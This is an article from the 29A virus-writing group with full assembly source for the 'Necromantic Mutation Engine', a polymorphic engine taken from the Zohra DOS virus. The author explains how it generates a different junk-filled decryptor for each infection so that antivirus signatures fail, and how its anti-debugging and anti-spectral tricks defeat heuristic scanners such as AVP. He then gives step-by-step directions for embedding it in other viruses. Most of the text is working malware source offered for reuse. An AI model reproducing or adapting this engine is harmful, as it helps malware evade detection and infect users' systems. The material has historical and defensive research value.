;
;                         . .: .:.. :.. .. .:.::. :. ..:
;                       <<-==млллллм=млллллм=млллллм===<
;                        .:: ллл ллл:ллл ллл.ллл ллл .:.
;                        . .:.мммллп.плллллл.ллллллл:..
;                         ...лллмммм:ммммллл:ллл ллл.::.
;                        >===ллллллл=ллллллп=ллл ллл=->>
;                       .: .:.. ..:. .: ..:.::. ::.. :.:.
;
;               лВБА  The Necromantic Mutation Engine ( NME ) АБВл
;
;                            ( used in Zohra virus )
;
;                               by Wintermute/29A
;
;
;   When I started writing this article, I didn't  know how to do it; the en-
; gine is full commented in my virus, Zohra, and besides has some things that
; make it nearly impossible to get it out from the virus.
;
;   So, I've made a couple things in this article  to  make it interesting :)
; First, I'm explaining how it works, and how  I made it; just thinking about
; it and wondering  how would I  do this  and that ( hope that will  help you
; writing your own poly engine if you  haven't done one yet... ). After talk-
; ing  about that, I'm giving some guidance about how  to use the engine, be-
; cause it has some particularities :)
;
;
;       1.- How is this poly engine created ?
;
;   What should a poly engine have ? A good  poly engine  shouldn't just make
; some crap instructions as "cli-sti-lahf-nop" and place them among real ins-
; tructions; a  middle-interested  user would easily detect something's going
; wrong in that file when he finds 15 useless one byte instructions, and then
; would detect it. So, a list with some instructions/opcodes was made, in or-
; der to use some more kinds of instructions.
;
;   Zohra has five groups; one byte  instructions, two byte ones, three, four
; bytes, and long routines. Long routines are anti-debugging or anti-spectral
; ones, for example.
;
;   So, the idea was  to put that instructions among the decryptor ones. That
; decryptor instructions are different  in length; three, four bytes... so it
; would last some  bytes checking  each one and copying it. So, I divided the
; decryptor instructions block in six blocks  respectively, which were formed
; by five bytes each one, this way:
;
;
;  >             mov     bp,0200h
;  >             db      90h,90h         ; variable ( junk gen )
;
;  >             mov     si,cs:word ptr [encryptvalue+bp]
;
;  >             mov     cx,virus_size/2
;  >             db      90h,90h         ; variable
;
;  >             mov     di,bp
;  >             db      90h,90h,90h     ; variable
;
;  >             xor     word ptr cs:[di],si
;  >             db      90h,90h         ; variable ( again ! )
;
;  >             inc     di
;  >             inc     di
;  >             loop    loop_dec
;  >             db      90h             ; variable
;
;
;   As you see, there  are "blanks" in  the blocks; that means more fixed by-
; tes, but of course the instructions aren't  placed  this way on the engine:
; first thing the poly engine  does is copying these instructions to a buffer
; in memory and filling the blanks with random bytes from the instruction ge-
; nerators; for  example, if there were a three byte blank, the  engine would
; fill it with a two  byte instruction and a  one byte instruction, or with a
; with a three byte instruction, etc.
;
;   As you may see, done this there are still many  fixed bytes, the real de-
; cryptor instructions. Any AVer could put in his hex searcher something like
; "F7????4D????4E" and easily detect it.
;
;   So, next thing in the  poly engine are some routines which change the de-
; cryptor instructions: randomly, SI is  used instead  of DI, the way to load
; CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the
; three  SI/DI/CX setting  blocks  are placed randomly  on the decryptor ( it
; doesn't matter their order ).
;
;   After making all the changes and setting the decryptor instructions block
; the poly starts working  in a zone between the first and the second copy of
; the virus; when loading in  memory, it  makes this: copies  the virus, then
; places a 512 byte buffer, and copies the virus again. The second copy never
; gets executed, it's  encrypted  by the first one, and the decryptor is made
; between them, so when copying to a file it will grow "512 bytes+virus"...
;
;   So, ES:DI points to the 512 bytes buffer to write on it, and a random ge-
; nerator gets  running, placing 1 to 4  byte instructions, long routines, or
; the  decryptor instructions. Also, the engine checks some things; for exam-
; ple, divides by 6 the  total size of the decryptor ( 512 bytes ) and checks
; this with  the remaining  decryptor instruction blocks, so all the instruc-
; tions are in the decryptor ( and not very near to each other ). Also checks
; the distance between  the loop/jz  and the xor at the end so it doesn't get
; out of range, and also  checks  the last bytes to finish the decryptor; for
; example, if there are only  three bytes remaining of  decryptor, the engine
; will put a three byte instruction, etc.
;
;   Finally,... why using long  routines ( as an  antidebugging one ) ? To a-
; void  one couple things. The antidebugging routine  is  especially made for
; AVP, which  tries  to decrypt  the virus ( and makes it ! ;) because of its
; heuristic method, which fails when there are antidebugging routines and the
; virus isn't decrypted yet ( it decrypts viruses and searches for things li-
; ke mov ax,3d02h/int21h ) };)
;
;   About the spectral routines, they're made for one of the  analysis  which
; antivirus software use  to detect poly viruses; they watch the instructions
; in the decryptor, and if all  of them seem  to be generated by that engine,
; they'll  detect the virus. Let's imagine, for example, the "Shitty Mutator"
; uses three one byte instructions to make junk. The antivirus software would
; have these instructions and watch the -e.g.- 256 byte decryptor; if all the
; instructions  placed in there  are  the decryptor  itself ones or the three
; different one byte ones, the  antivirus tells us a SM based virus is there.
; The method used  to avoid it is fairly simple: a check, after a conditional
; jump that is always executed, and then two junk random bytes :)
;
;
;       2.- How to use the engine in your own virus ( hey, you, at least give
; me some credits in it ! :)
;
;   About the values you have  to set; first, there's a  defined value at the
; end  of the engine called "encryptvalue" which  is the number which will be
; used to encrypt  the  virus with  xor encryption. First, you'll have to en-
; crypt the  second  copy of your virus, and  put your word length encryption
; key into that value called "encryptvalue" ( which is used for the xor ).
;
;   "Offset_second" is the virus_length plus 200h, the decryptor length; this
; way, the values changed are changed in the decryptor and not in the non-co-
; pied virus ( wonder why ? ) :-)
;
;   "Virus_size" is your virus lenght in bytes.
;
;   Of course, you can change the decryptor length, but be careful with that.
; That value is set on "restantes_poly", and is  200h normally; if you change
; this, divisions made by  the  engine to  check if it has to put a decryptor
; instruction  on the generator code will fail. So, if you're going to change
; the length, check also the divisions at the zone called "centro_poly" ( po-
; ly_center in spanish ).
;
;   Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you;
; it's generated at the end of the first virus copy, just at "virus_size+0h",
; uhm... ah, and it supposes you to have another  copy of the virus, of cour-
; se. Come on, it's so easy to get it working when somebody else  has written
; it four you first ! ;PPP
;
;   Ah, and finally... you'll have to  copy  the decryptor instructions block
; at the first bytes of your TSR, at the first copy; the instructions in tho-
; se first bytes  are useful, cause they're  not copied even not executed, so
; they can be overwritten by the decryptor ones.
;
;
; ***************************************************************************
;                   THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
;              The ants are in the sugar, the muscles atrophied

  ; This first part sets the decryptor variables ( loop pointer, remaining
  ;instructions and current instruction )
  ;
  ; The loop pointer tells where to loop  to  make  the  xor  "virus_size"
  ;times, remaining instructions is  200h-done_instructions,  and  current
  ;instruction is about which of the six decryptor instructions blocks has
  ;to be written next.

go_here:

                mov     word ptr [bytes_referencia],0h
                mov     word ptr [restantes_poly],200h   ; n.instr decryptor
                mov     byte ptr [numero_instruccion],6h ; n.util instrs


  ; This first part of the poly engine fills the blanks of the six blocks
  ;( 5 bytes each ) in which the decryptor instructions are divided on with
  ;random instructions. As you see, three blanks can be filled with a three
  ;bytes instructions, with a two bytes one and a one byte one or with three
  ;one byte instructions

                push    cs cs
                pop     ds es

                mov     di,3h
                mov     cx,3
two_times:      call    aleatorio
                and     ah,1
                jz      two_of_one
                call    inst_2
                jmp     next_inst_gen
two_of_one:     call    inst_1
                inc     di
                call    inst_1
next_inst_gen:  cmp     di,0eh
                jnz     @di0dh
                mov     di,017h
                jmp     @loopt
@di0dh:         mov     di,0dh
@loopt:         loop    two_times


                mov     di,011h
                mov     cx,2
two_times_otavez:
                call    aleatorio
                and     ah,1
                jz      unod1y1d2
                and     al,1
                jz      tresd1
                call    inst_3
                jmp     next_one_otave
tresd1:
                call    inst_1
                inc     di
                call    inst_1
                inc     di
                call    inst_1
                jmp     next_one_otave
unod1y1d2:      and     al,1
                jz      unod2y1d1
                call    inst_1
                inc     di
                call    inst_2
                jmp     next_one_otave
unod2y1d1:
                call    inst_2
                inc     di
                call    inst_1
next_one_otave:
                mov     di,01dh         ; The last
                call    inst_1

                lea     di,instrucciones
                xor     si,si
                mov     cx,instrsize
                rep     movsb

  ; This part exchanges 50% times SI and DI registers, which are used in
  ;the decryptor instructions

                call    aleatorio
                and     ah,1
                jz      dontchangeem
                mov     byte ptr [instrucciones+7h],0beh
                mov     byte ptr [instrucciones+10h],0f5h
                mov     word ptr [instrucciones+15h],03c31h
                mov     word ptr [instrucciones+19h],04646h


dontchangeem:

  ; Depending on a random value, CX is obtained by the normal way ( mov cx, )
  ; or with a mov dx,register, mov cx,dx

                call    aleatorio
                and     ah,1
                jz      cx_acabado
                cbw
                and     ah,1
                jz      siguiente_abajo
                mov     byte ptr [instrucciones+0ah],0bbh
                mov     word ptr [instrucciones+0dh],0d989h
                jmp     cx_acabado
siguiente_abajo:
                and     al,1
                jz      cx_con_dx
                mov     byte ptr [instrucciones+0ah],0b8h
                mov     word ptr [instrucciones+0dh],0c189h
                jmp     cx_acabado
cx_con_dx:
                mov     byte ptr [instrucciones+0ah],0bah
                mov     word ptr [instrucciones+0dh],0d189h
cx_acabado:

  ; To finish preparing the decrypting routine, we copy the instructions
  ;that modify SI, DI and CX, and put them randomly; the first time, I
  ;tried making this pushing and popping instructions... stack overflow ! :-o

                push    dx
                mov     byte ptr [variable_inst],00000111b
                mov     cx,015d                 ; Copy the 15 bytes of the
                lea     si,instrucciones+5      ;instructions to the uuencode
                lea     di,buffer               ;buffer ( unused )
                push    di
                rep     movsb
                pop     si

ver_si_esta_hecho:
                mov     al,byte ptr [variable_inst]
                mov     dl,al                   ; Then, restore them in a
                or      al,al                   ;random order
                jz      acabado_pop_inst
                call    aleatorio
                and     ah,1
                jz      popfirst
                and     al,1
                jz      popsecond
                and     dl,100b                 ; First instruction ( five
                jz      ver_si_esta_hecho       ;bytes )
                and     byte ptr [variable_inst],11111011b
                lea     di,instrucciones+0fh
                jmp     popfivebytes

popfirst:
                and     dl,1b                   ; Second one
                jz      ver_si_esta_hecho
                and     byte ptr[variable_inst],011111110b
                lea     di,instrucciones+0ah
                jmp     popfivebytes

popsecond:
                and     dl,10b                  ; Third
                jz      ver_si_esta_hecho
                and     byte ptr[variable_inst],011111101b
                lea     di,instrucciones+5h
popfivebytes:
                mov     cx,5d                   ; Replace
                rep     movsb
                jmp     ver_si_esta_hecho
acabado_pop_inst:
                pop     dx


  ; The modification of the instructions of the decryptor finishes here with
  ;all changes made: the originals are kept at the beggining of the virus in
  ;memory. The posible "final loop" exchange is made when writing the
  ;decryptor

  ; Here begins the main zone of the code generator; where it's decided
  ;what generator to use and random instructions are copied at the
  ;decryptor.


                mov     di,virus_size+1
centro_poly:
                mov     ax,word ptr [restantes_poly]    ; Remaining
                mov     cx,ax                           ;instructions number
                and     cx,cx
                jnz     sigamos_decriptor
                jmp     acabamos_decryptor      ; Checks if finished
sigamos_decriptor:
                cmp     cx,@getmcb-ant_debug
                jae     @cont_decrr
                cmp     byte ptr [numero_instruccion],1
                jz      @@call_decryptgen
@cont_decrr:                        ; If we have 1, 2 or 3 bytes remaining
                dec     cx
                jz      @@call_inst_1
                dec     cx
                jz      @@call_inst_2
                dec     cx
                jz      @@call_inst_3

                mov     cx,55h      ; Do we need to put one of the decryptor
                div     cl          ;instructions ? This is the div to change
                inc     al          ;if you change the decryptor length
                cmp     byte ptr[numero_instruccion],al
                ja      @@call_decryptgen

                cmp     byte ptr[numero_instruccion],1
                jnz     @continuemos        ; To avoid the loop from going
                mov     ax,di               ;out of range
                sub     ax,word ptr [loop_site]
                cmp     ax,70h
                jae     @@call_decryptgen
@continuemos:
                call    aleatorio           ; randomly, place 3 bytes instr,
                and     ah,1                ;2, routine...
                jz      @@trestipos
                and     al,1
                jz      @@call_inst_4
@@call_inst_1:  call    inst_1
                dec     word ptr [restantes_poly]
                inc     di
                jmp     centro_poly
@@call_inst_4:  call    inst_4
                add     di,4
                sub     word ptr [restantes_poly],4
                jmp     centro_poly

@@trestipos:    cbw
                and     ah,1
                jz      @@inst_2odec
                and     al,11b
                jz      @@call_sub
@@call_inst_3:  call    inst_3
                add     di,3
                sub     word ptr[restantes_poly],3
                jmp     centro_poly
@@inst_2odec:   and     al,111b     ; Low probability
                jnz     @@call_inst_2
@@call_decryptgen:
                call    gen_instruction
                jmp     centro_poly
@@call_inst_2:  call    inst_2
                inc     di
                sub     word ptr[restantes_poly],2
@fix1:          jmp     centro_poly
@@call_sub:     cmp     word ptr[restantes_poly],@getmcb-ant_debug
                jb      @fix1
                call    inst_5
                add     di,si
                sub     word ptr[restantes_poly],si  ; Long non fixed size
                jmp     centro_poly             ;routine


acabamos_decryptor:
                ret

instrsize       equ     instr_end-instr_start

instr_start     label byte

  ; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

                mov     bp,0200h
                db      90h,90h         ; variable ( junk gen )

                mov     si,cs:word ptr [encryptvalue+bp]

                mov     cx,virus_size/2
                db      90h,90h

                mov     di,bp
                db      90h,90h,90h

loop_dec:
                xor     word ptr cs:[di],si
                db      90h,90h

                inc     di
                inc     di
                loop    loop_dec
                db      90h


instr_end       label byte

;*******************************************
;               Decryptor values and data
;--------------------

Restantes_poly:     dw 200h         ; Remaining instructions counter
Numero_instruccion: db 6            ; Instruction number
num_aleat:          dw 1250h        ; Aleatory number counter
variable_inst:      db 7h           ; 0111b
loop_site:          dw 0h           ; Looping allocation Offset
bytes_referencia:   dw 0h           ; Reference for instructions


  ; This returns a random number in AX after making some operations.

aleatorio:
                mov     ax,word ptr[num_aleat]
                call    aleat2
aleat2:         ror     ax,5          ; The seed number is stablished in each
                add     ax,1531h      ;infection by the date, and modified
                push    cx dx ax      ;by the minutes ( but in AL, the less
                mov     ah,2ch        ;used, to contribute to the slow poly )
                int     21h           ;and hour.
                pop     ax
                add     ah,ch
                pop     dx cx
                rol     ax,1
                neg     ax
                sub     ax,2311h
                ror     ax,3
                not     ax
                mov     word ptr[num_aleat],ax
                ret

  ; Instructions generators: the required instructions are generated and
  ;copied in ES:DI, which points to the decryptor in memory

  ; Main generator: copies a decryptor instruction in ES:DI, with special
  ;care for the final loop

gen_instruction:
                mov     al,byte ptr [numero_instruccion]
                and     al,al
                jz      @vasmosnos
                dec     al
                jz      @preparar_loop
                dec     al
                jz      @guardar_paraloop
@gen_ya:
                dec     byte ptr [numero_instruccion]
                lea     si,instrucciones
                add     si,word ptr [bytes_referencia]
                add     word ptr [bytes_referencia],5h

                mov     cx,5            ; copy the instruction
                rep     movsb
                sub     word ptr[restantes_poly],5h  ; remaining instrs


@vasmosnos:     ret
@guardar_paraloop:
                mov     word ptr [loop_site],di
                jmp     @gen_ya

@preparar_loop:
                mov     ax,0fch
                mov     si,di
                mov     cx,word ptr [loop_site]
                sub     si,cx
                sub     ax,si
                mov     cx,word ptr[num_aleat]
                and     cl,1
                jz      @make_a_jnz
                mov     byte ptr [instrucciones+01ch],al
                jmp     @gen_ya
@make_a_jnz:
                mov     word ptr [instrucciones+01bh],7549h
                dec     ax
                mov     byte ptr [instrucciones+01dh],al
                jmp     @gen_ya

  ; Generator ----> One byte length instruction generator

inst_1:
                call    aleatorio
                and     al,3h
                jnz     @cont_a1
                mov     byte ptr es:[di],90h
                ret
@cont_a1:       and     ah,1
                jz      @cont_a2
                call    aleatorio
                and     ah,1h
                jz      @cont_a2_2
                and     al,1h
                jz      @cont_a2_1_1
                call    aleatorio
                and     al,1h
                jz      @cont_a2_2_1
                mov     byte ptr es:[di],42h     ; inc dx
                ret
@cont_a2_2_1:   mov     byte ptr es:[di],43h     ; inc bx
                ret
@cont_a2_1_1:   mov     byte ptr es:[di],40h     ; inc ax
                ret
@cont_a2_2:     call    aleatorio
                and     al,1h
                jnz     @cont_a2_2_2
                mov     byte ptr es:[di],48h     ; dec ax
                ret
@cont_a2_2_2:   and     ah,1h
                jz      @cont_a2_2_2_2
                mov     byte ptr es:[di],4bh     ; dec bx
                ret
@cont_a2_2_2_2: and     al,1h
                mov     byte ptr es:[di],4ah     ; dec dx
                ret
@cont_a2:       call    aleatorio
                and     al,3h
                jz      @cont_a2_11
                and     ah,3h
                jz      @cont_a2_12
                call    aleatorio
                and     al,3h
                jz      @cont_a2_2_11
                and     ah,3h
                jz      @cont_a2_2_12
                call    aleatorio
                and     al,1
                jz      @cont_a2_2_13
                mov     byte ptr es:[di],0cch    ; int 3h
                ret
@cont_a2_2_11:  mov     byte ptr es:[di],9fh     ; lahf
                ret
@cont_a2_2_12:  mov     byte ptr es:[di],99h     ; cwd
                ret
@cont_a2_2_13:  mov     byte ptr es:[di],98h     ; cbw
                ret
@cont_a2_11:    mov     byte ptr es:[di],0F9h    ; stc
                ret
@cont_a2_12:    mov     byte ptr es:[di],0F8h    ; clc
                ret

  ; Generator ----> Two byte length instructions

inst_2:
                call    aleatorio
                and     ah,1h
                jz      @cont_sub
                cbw
                and     ah,1h
                jz      sigunvm
                jmp     @cont_xor
sigunvm:
                jmp     @cont_mul
@cont_sub:
                mov     byte ptr es:[di],2bh
                inc     di
                cbw
                and     al,1
                jz      @cont_bsub_ax
                and     ah,1
                jz      @cont_bsub_dx
                call    aleatorio
                and     ah,1
                jz      @cont_bsub_bx_dxdisi
                and     al,1
                jz      @cont_bsub_bx_cx
                mov     byte ptr es:[di],0d8h  ; sub bx,ax
                ret
@cont_bsub_bx_cx:
                mov     byte ptr es:[di],0d9h  ; sub bx,cx
                ret
@cont_bsub_bx_dxdisi:
                cbw
                and     ah,1
                jz      @cont_bsub_bx_dx
                and     al,1
                jz      @cont_bsub_bx_di
                mov     byte ptr es:[di],0deh   ; sub bx,si
                ret
@cont_bsub_bx_di:
                mov     byte ptr es:[di],0dfh   ; sub bx,di
                ret
@cont_bsub_bx_dx:
                mov     byte ptr es:[di],0dah  ; sub bx,dx
                ret
@cont_bsub_ax:
                call    aleatorio
                and     ah,1
                jz      @cont_bsub_ax_dxdisi
                and     al,1
                jz      @cont_bsub_ax_cx
                mov     byte ptr es:[di],0c3h  ; sub ax,bx
                ret
@cont_bsub_ax_cx:
                mov     byte ptr es:[di],0c1h  ; sub ax,cx
                ret
@cont_bsub_ax_dxdisi:
                cbw
                and     ah,1
                jz      @cont_bsub_ax_dx
                and     al,1
                jz      @cont_bsub_ax_di
                mov     byte ptr es:[di],0c6h  ; sub ax,si
                ret
@cont_bsub_ax_di:
                mov     byte ptr es:[di],0c7h  ; sub ax,di
                ret
@cont_bsub_ax_dx:
                mov     byte ptr es:[di],0c2h  ; sub ax,dx
                ret
@cont_bsub_dx:
                call    aleatorio
                and     ah,1
                jz      @cont_bsub_dx_sidicx
                and     al,1
                jz      @cont_bsub_dx_bx
                mov     byte ptr es:[di],0d0h     ; sub dx,ax
                ret
@cont_bsub_dx_bx:
                mov     byte ptr es:[di],0d3h     ; sub dx,bx
                ret
@cont_bsub_dx_sidicx:
                cbw
                and     ah,1
                jz      @cont_bsub_dx_cx
                and     al,1
                jz      @cont_bsub_dx_di
                mov     byte ptr es:[di],0d6h     ; sub dx,si
                ret
@cont_bsub_dx_di:
                mov     byte ptr es:[di],0d7h     ; sub dx,di
                ret
@cont_bsub_dx_cx:
                mov     byte ptr es:[di],0d1h     ; sub dx,cx
                ret

@cont_xor:
                mov     byte ptr es:[di],033h
                inc     di
                call    aleatorio
                and     ah,1
                jz      @cont_xor_4last
                cbw
                and     ah,1
                jz      @cont_xor_34
                and     al,1
                jz      @cont_xor_2
                mov     byte ptr es:[di],0c0h     ; xor ax,ax
                ret
@cont_xor_2:
                mov     byte ptr es:[di],0c3h     ; xor ax,bx
                ret
@cont_xor_34:
                and     al,1
                jz      @cont_xor_4
                mov     byte ptr es:[di],0c2h     ; xor ax,dx
                ret
@cont_xor_4:
                mov     byte ptr es:[di],0dbh     ; xor bx,bx
                ret
@cont_xor_4last:
                cbw
                and     ah,1
                jz      @cont_xor_78
                and     al,1
                jz      @cont_xor_6
                mov     byte ptr es:[di],0d8h     ; xor bx,ax
                ret
@cont_xor_6:
                mov     byte ptr es:[di],0dah     ; xor bx,dx
                ret
@cont_xor_78:
                and     al,1
                jz      @cont_xor_8
                mov     byte ptr es:[di],0d2h     ; xor dx,dx
                ret
@cont_xor_8:
                mov     byte ptr es:[di],0d0h     ; xor dx,ax
                ret

@cont_mul:
                mov     byte ptr es:[di],0f7h
                inc     di
                call    aleatorio

                and     ah,1
                jz      @cont_divmul_34
                and     al,1
                jz      @cont_divmul_2
                mov     byte ptr es:[di],0e3h       ; mul bx
                ret
@cont_divmul_2:
                mov     byte ptr es:[di],0e1h       ; mul cx
                ret
@cont_divmul_34:
                and     al,1
                jz      @cont_divmul_4
                mov     byte ptr es:[di],0e6h       ; mul si
                ret
@cont_divmul_4:
                mov     byte ptr es:[di],0e7h       ; mul di
                ret

  ; Generator ----> Three byte long instructions

inst_3:
                call    aleatorio
                mov     si,ax
                inc     si              ; We don't want a 0ffffh
                jz      inst_3
                dec     si
                and     ah,1
                jz      @add_or_sub_ax
                and     al,1
                jz      @mov_dx_inm
                mov     byte ptr es:[di],0bbh   ; mov bx,reg
                mov     word ptr es:[di+1],si
                ret
@mov_dx_inm:    mov     byte ptr es:[di],0bah   ; mov dx,reg
                mov     word ptr es:[di+1],si
                ret
@add_or_sub_ax: and     al,1
                jz      @mov_mem_ax
                mov     byte ptr es:[di],05h    ; add ax,reg
                mov     word ptr es:[di+1],si
                ret
@mov_mem_ax:    mov     byte ptr es:[di],0a1h   ; mov ax,mem
                mov     word ptr es:[di+1],si
                ret

  ; Generator ----> Four bytes instructions

inst_4:         call    aleatorio
                mov     si,ax
                inc     si
                jz      inst_4
                dec     si
                and     ah,1
                jz      @q_seg_parte
                cbw
                and     ah,1
                jz      @q_movdxobx
                and     al,1
                jz      @q_subbxfuck
                mov     word ptr es:[di],019b4h     ; Get drive function
                mov     word ptr es:[di+2],021cdh
                ret
@q_subbxfuck:   mov     word ptr es:[di],0eb81h
                mov     word ptr es:[di+2],si
                ret
@q_movdxobx:    and     al,1
                jz      @q_movdx_mem
                mov     word ptr es:[di],01e8bh
                mov     word ptr es:[di+2],si
                ret
@q_movdx_mem:   mov     word ptr es:[di],0168bh
                mov     word ptr es:[di+2],si
                ret
@q_seg_parte:   cbw
                and     ah,1
                jz      @q_seg_sub
                mov     word ptr es:[di],0c281h
                mov     word ptr es:[di+2],si
                and     al,1
                jz      @nosvamos_4
                inc     byte ptr es:[di+1]
@nosvamos_4:    ret
@q_seg_sub:     mov     word ptr es:[di],0ea81h
                mov     word ptr es:[di+2],si
                and     al,1
                jz      @nosvamos_41
                inc     word ptr es:[di+1]
@nosvamos_41:   ret

 ; Generator ----> More than 4 bytes routines

inst_5:         call    aleatorio               ; Anti-spectral routine,
                and     ah,1                    ;generates a random value
                jz      @c_seg_parte            ;after a cmp ax,ax/jz xxx
                and     al,1                    ;that will never be executed:
                jz      @c_seg_prim             ;"spectral" is a way of
                mov     word ptr es:[di],0c033h ;finding polymorphic viruses
                mov     word ptr es:[di+2],0274h;that checks for instructions
                call    aleatorio               ;that aren't in the poly
                mov     word ptr es:[di+4],ax   ;engine; if the instructions
                mov     si,06h                  ;are all of a fixed range,
                ret                             ;the spectral identifies the
                                                ;poly engine.

@c_seg_prim:
                mov     word ptr es:[di],0f7fah     ; Antidebugging routine
                mov     word ptr es:[di+2],0f7dch   ;( cli, neg sp, neg sp,
                mov     word ptr es:[di+4],0fbdch   ; sti )
                mov     si,06h
                ret

@c_seg_parte:   and     al,1
                jz      @c_seg_seg              ; Anti-spectral
                mov     word ptr es:[di],0ffb8h     ; mov ax,0ffffh
                mov     word ptr es:[di+2],040ffh   ; inc ax
                mov     word ptr es:[di+4],0274h    ; jz  seguimos
                call    aleatorio                   ; ( 2 crap bytes )
                mov     word ptr es:[di+6],ax
                mov     si,08h
                ret

@c_seg_seg:
                lea     si,ant_debug            ; Antidebugging, the routine
                mov     cx,@getmcb-ant_debug    ;placed near the beggining
                push    cx                      ;of Zohra
                rep     movsb
                pop     si
                sub     di,si
                ret

random_number:
                ret

encryptvalue:   dw      0ffh
wintermute:     db      'The Necromantic Mutation Engine by Wintermute/29A',0
